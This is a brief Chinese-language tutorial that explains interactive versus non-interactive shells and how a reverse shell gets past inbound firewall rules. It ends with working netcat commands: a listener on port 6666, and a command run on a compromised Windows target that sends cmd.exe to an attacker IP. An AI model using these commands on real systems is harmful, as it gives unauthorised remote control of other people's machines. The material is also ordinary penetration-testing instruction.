交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是shell与用户进行交互,用户输入退出命令才会终止
例如 cmd终端 msf反弹
非交互shell也可以运行在另一种模式,非交互模式,这种模式是直接读取存放在文件中的命令并且运行,当他读取到文件末尾就会终止
例如:webshell,这种执行完命令之后就会终止掉了
使用反弹shell可以让目标服务器主动连接攻击者,绕过防火墙的拦截,因为防火墙只会拦截外部访问内部的流量并不会主动拦截内部发出的流量
利用nc反弹shell
使用nc 监听6666端口
nc.exe -lvvp 6666
将nc上传到目标服务器,并且执行以下命令
C:\Windows\debug\WIA\nc.exe -e c:\windows\system32\cmd.exe 192.168.1.9 6666
ip地址和端口根据实际情况更改
这样就能成功返回shell